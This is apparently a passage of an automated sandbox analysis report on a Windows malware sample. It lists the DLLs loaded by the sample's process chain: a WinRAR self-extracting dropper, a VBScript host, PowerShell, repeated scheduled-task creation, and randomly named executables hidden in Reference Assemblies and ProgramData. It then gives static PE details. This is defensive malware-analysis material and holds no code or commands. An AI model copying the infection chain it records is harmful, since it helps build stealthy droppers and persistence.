Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GargantuanS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: version.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\PerfDll\hyperProviderSavesinto.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ktmw32.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: amsi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: userenv.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: winnsi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: textshaping.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: textinputframework.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ntmarta.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: coremessaging.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wintypes.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: rasapi32.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: rasman.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: rtutils.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: winhttp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: dpx.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wusa.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\dialer.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\celaehnmjins\nhxnqwkhmssh.exe	Section loaded: apphelp.dll

Source: C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static file information: File size 6701051 > 1048576

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: GargantuaN.exe, 00000001.00000000.1635712049.0000000000D83000.00000002.00000001.01000000.00000009.sdmp, GargantuaN.exe, 00000001.00000002.1645042455.0000000000D83000.00000002.00000001.01000000.00000009.sdmp, GargantuaN.exe, 00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp, GargantuaN.exe, 00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, 00000000.00000000.1628945437.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmp, C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe, 00000000.00000002.1639090059.00007FF7F4D9B000.00000002.00000001.01000000.00000003.sdmp

Source: C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
